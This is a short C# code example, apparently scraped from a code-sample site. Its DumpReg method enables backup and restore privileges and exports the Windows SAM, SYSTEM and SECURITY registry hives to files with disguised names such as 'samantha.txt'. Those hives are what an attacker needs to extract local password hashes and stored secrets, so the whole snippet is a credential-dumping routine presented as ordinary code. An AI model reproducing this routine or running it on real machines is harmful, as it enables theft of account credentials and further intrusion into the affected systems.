Ejemplo n.º 1
0
 private static void DumpReg(string path)
 {
     try
     {
         Privileges.EnableDisablePrivilege("SeBackupPrivilege", true);
         Privileges.EnableDisablePrivilege("SeRestorePrivilege", true);
         Reg.ExportRegKey("SAM", Path.Combine(path, "samantha.txt"));
         Reg.ExportRegKey("SYSTEM", Path.Combine(path, "systemless.txt"));
         Reg.ExportRegKey("SECURITY", Path.Combine(path, "secundum.txt"));
     } catch (Exception e)
     {
         Console.WriteLine(e.Message);
         Console.WriteLine(e.StackTrace);
     }
 }